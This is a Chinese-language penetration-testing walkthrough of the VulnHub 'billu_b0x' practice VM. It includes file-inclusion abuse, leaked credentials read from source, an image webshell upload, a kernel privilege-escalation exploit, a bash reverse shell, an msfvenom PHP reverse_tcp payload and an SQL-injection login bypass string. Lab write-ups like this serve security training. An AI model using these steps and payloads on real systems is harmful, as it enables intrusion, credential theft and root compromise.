靶機下載地址及安裝環境
靶機下載地址:https://download.vulnhub.com/billu/
靶機環境:處於net網絡下的VM虛擬機
滲透實戰
攻擊機:192.168.146.131
靶 機:192.168.146.133(掃描後得到的)
1.安裝完後,由於不知道node靶機的地址,所以滲透第一步就是發現主機:
1)使用nmap快速掃描,發現存活主機:
nmap -sn 192.168.146.0/24
2)使用arp掃描:
arp-scan -l
2.掃描靶機開放的端口,以及版本信息
nmap -sS 192.168.146.133
3.訪問web頁面
192.168.146.133
看到這個頁面或許你們會想到通過sql注入,直接進去,但是小編我堅信還是有其它辦法的(實話說,小編的sql注入水平着實差),所以路徑掃描來一波
使用工具:DirBuster-1.0-RC1.jar
可以看到掃出來的東西還是挺多的,也許小編就避免了sql注入這一關(偷笑)
對掃出來的頁面進行逐個訪問,經過篩選過濾得,肉眼看得到有用的頁面,就 test.php, in.php , add.php
但是,注意!!! add.php是個假的upload。。。。。
in.php (可以進行遠程文件包含)
test.php(文件包含)
4.test.php 文件包含
test.php可以進行文件遠程包含,參數爲 file
但是,在get傳參file的值,經過多次實驗還是沒有讀取到任何一個文件的源碼,首先你會懷疑 這是不是假的,其次是這個靶場是wa掉了(別問我爲什麼知道你內心活動,那是因爲小編也是這麼想的。。。。。。)爲什麼一直讀不到
但是小編告訴你,靶場沒壞,這也確實真真存在文件包含漏洞,只是file得參數傳入的方式有問題,這裏需要POST傳參。
工具使用:burpsuit
這下,可以確定了,繼續讀取其他文件
當然,讀到了index.php文件的時候,小編心裏是非常不好受的,居然sql注入。。。。
繼續讀下去,讀到c.php文件的時候,終於啊,有點我喜歡的東西出來了
<?php
#header( 'Z-Powered-By:its chutiyapa xD' );
header('X-Frame-Options: SAMEORIGIN');
header( 'Server:testing only' );
header( 'X-Powered-By:testing only' );
ini_set( 'session.cookie_httponly', 1 );
$conn = mysqli_connect("127.0.0.1","billu","b0x_billu","ica_lab");
// Check connection
if (mysqli_connect_errno())
{
echo "connection failed -> " . mysqli_connect_error();
}
?>
可以很清楚的看到,有數據庫的登陸賬號密碼 billu/b0x_billu,嘗試ssh連接
連接失敗,換個思路,那麼應該是有數據庫後臺的
對數據庫後臺登陸頁面進行掃描爆破,最終得到 /myphp路徑,登陸賬號 billu/b0x_billu 得:
返回首頁登陸賬號:
通過test.php文件包含讀取panel.php源碼
<?php
session_start();
include('c.php');
include('head2.php');
if(@$_SESSION['logged']!=true )
{
header('Location: index.php', true, 302);
exit();
}
if(isset($_POST['lg']))
{
unset($_SESSION['logged']);
unset($_SESSION['admin']);
header('Location: index.php', true, 302);
}
if(isset($_POST['continue']))
{
$dir=getcwd();
$choice=str_replace('./','',$_POST['load']);
if($choice==='add')
{
include($dir.'/'.$choice.'.php');
die();
}
if($choice==='show')
{
include($dir.'/'.$choice.'.php');
die();
}
else
{
include($dir.'/'.$_POST['load']);
}
}
if(isset($_POST['upload']))
{
$name=mysqli_real_escape_string($conn,$_POST['name']);
$address=mysqli_real_escape_string($conn,$_POST['address']);
$id=mysqli_real_escape_string($conn,$_POST['id']);
if(!empty($_FILES['image']['name']))
{
$iname=mysqli_real_escape_string($conn,$_FILES['image']['name']);
$r=pathinfo($_FILES['image']['name'],PATHINFO_EXTENSION);
$image=array('jpeg','jpg','gif','png');
if(in_array($r,$image))
{
$finfo = @new finfo(FILEINFO_MIME);
$filetype = @$finfo->file($_FILES['image']['tmp_name']);
if(preg_match('/image\/jpeg/',$filetype ) || preg_match('/image\/png/',$filetype ) || preg_match('/image\/gif/',$filetype ))
{
if (move_uploaded_file($_FILES['image']['tmp_name'], 'uploaded_images/'.$_FILES['image']['name']))
{
echo "Uploaded successfully ";
$update='insert into users(name,address,image,id) values(\''.$name.'\',\''.$address.'\',\''.$iname.'\', \''.$id.'\')';
mysqli_query($conn, $update);
}
}
else
{
echo "<br>i told you dear, only png,jpg and gif file are allowed";
}
}
else
{
echo "<br>only png,jpg and gif file are allowed";
}
}
}
?>
審計一下上面的代碼,發現只能上傳圖片馬,而且這個頁面存在文件包含漏洞
5.上傳圖片馬並連接
由上面得路徑,可以看出上傳的圖片放在 uploaded_images裏
利用panel.php的文件包含,連接我們上傳得圖片馬
工具:蟻劍
6.提權
直接使用蟻劍自帶的虛擬終端,獲得內核版本3.13.0
1)利用kali本機自帶的exp,進行提權
searchsploit 3.13.0
上傳exp到 uploaded_images
、
編譯運行exp
gcc 37292.c -o test
./test
可以看到有 root權限的#,應該是可以進入root的,但是不造爲啥由於蟻劍的終端會這樣,那麼我們就需要嘗試反彈shell到kaili,再提權
再一次上傳命令執行的馬(system)到uploaded_images下,執行url編碼好的bash反彈命令,
在kali nc監聽一下,得到反彈shell
在exp目錄下執行 ./test 得到root權限
2)使用msfvenom生成的一個php後門進行提權
msfvenom -p php/merterpreter/reverse_tcp lhost=192.168.146.131 lport=6666 -f raw > exp.php
打開msf命令界面,並且配置好參數,在後臺運行
上傳exp.php文件,並訪問exp.php文件,得到shell
在meterpreter進入shell模式,運行生成好的 test 文件
----------------------------------------------------------------完美的分割線---------------------------------------------------------------------------------------
繼上次的爆破後臺路徑得到數據庫後臺登陸地址爲 /phpmy
在對http://192.168.146.133/phpmy 進行路徑掃描,可以掃到他的配置文件 config.inc.php
由系統爲ubuntu 可 推測 phpmy 在路徑 /var/www 下
用teat.php 文件包含得:
<?php
/* Servers configuration */
$i = 0;
/* Server: localhost [1] */
$i++;
$cfg['Servers'][$i]['verbose'] = 'localhost';
$cfg['Servers'][$i]['host'] = 'localhost';
$cfg['Servers'][$i]['port'] = '';
$cfg['Servers'][$i]['socket'] = '';
$cfg['Servers'][$i]['connect_type'] = 'tcp';
$cfg['Servers'][$i]['extension'] = 'mysqli';
$cfg['Servers'][$i]['auth_type'] = 'cookie';
$cfg['Servers'][$i]['user'] = 'root';
$cfg['Servers'][$i]['password'] = 'roottoor';
$cfg['Servers'][$i]['AllowNoPassword'] = true;
/* End of servers configuration */
$cfg['DefaultLang'] = 'en-utf-8';
$cfg['ServerDefault'] = 1;
$cfg['UploadDir'] = '';
$cfg['SaveDir'] = '';
/* rajk - for blobstreaming */
$cfg['Servers'][$i]['bs_garbage_threshold'] = 50;
$cfg['Servers'][$i]['bs_repository_threshold'] = '32M';
$cfg['Servers'][$i]['bs_temp_blob_timeout'] = 600;
$cfg['Servers'][$i]['bs_temp_log_threshold'] = '32M';
?>
kali直接ssh遠程連接得
----------------------------------------------------------------有一次華麗分割線---------------------------------------------------------------------------------
通過test.php文件包含漏洞讀取index.php文件,查看sql語句地繞過機制
<?php
session_start();
include('c.php');
include('head.php');
if(@$_SESSION['logged']!=true)
{
$_SESSION['logged']='';
}
if($_SESSION['logged']==true && $_SESSION['admin']!='')
{
echo "you are logged in :)";
header('Location: panel.php', true, 302);
}
else
{
echo '<div align=center style="margin:30px 0px 0px 0px;">
<font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font>
<br><br>
Show me your SQLI skills <br>
<form method=post>
Username :- <Input type=text name=un>   Password:- <input type=password name=ps> <br><br>
<input type=submit name=login value="let\'s login">';
}
if(isset($_POST['login']))
{
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
$run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
$result = mysqli_query($conn, $run);
if (mysqli_num_rows($result) > 0) {
$row = mysqli_fetch_assoc($result);
echo "You are allowed<br>";
$_SESSION['logged']=true;
$_SESSION['admin']=$row['username'];
header('Location: panel.php', true, 302);
}
else
{
echo "<script>alert('Try again');</script>";
}
}
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>
審閱源碼:
$uname=str_replace('\'','',urldecode($_POST['un']));
$pass=str_replace('\'','',urldecode($_POST['ps']));
select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'
str_replace的作用是將字符串\’ 替換爲空,因此構造SQL注入登錄payload時,必須含有\’字符串,否則會報錯。urldecode的作用是將輸入解碼。
常用的注入登陸的繞過語句是 'or 1=1 --
而又必須含有 \' ,則有
'or 1=1 -- \'
登陸賬號 'or 1=1 -- \'
登陸密碼 'or 1=1 -- \'
即:
剩下的步驟和上面的步驟一樣,上傳圖片,拿shell再提權即可